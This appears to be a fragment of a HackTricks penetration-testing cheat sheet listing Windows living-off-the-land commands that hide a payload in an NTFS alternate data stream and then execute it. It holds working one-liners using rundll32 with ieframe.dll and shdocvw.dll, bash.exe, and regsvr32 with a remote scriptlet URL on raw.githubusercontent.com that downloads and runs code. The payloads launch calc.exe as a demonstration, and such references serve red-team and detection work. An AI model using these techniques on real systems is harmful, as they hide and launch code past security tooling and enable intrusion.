* ieframe.dll , shdocvw.dll (ads)
echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md

* bash.exe
echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh
bash.exe -c $(fakefile.txt:payload.sh)
https://github.com/sailay1996/misc-bin/blob/master/ads.md

* Regsvr32
type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS
regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥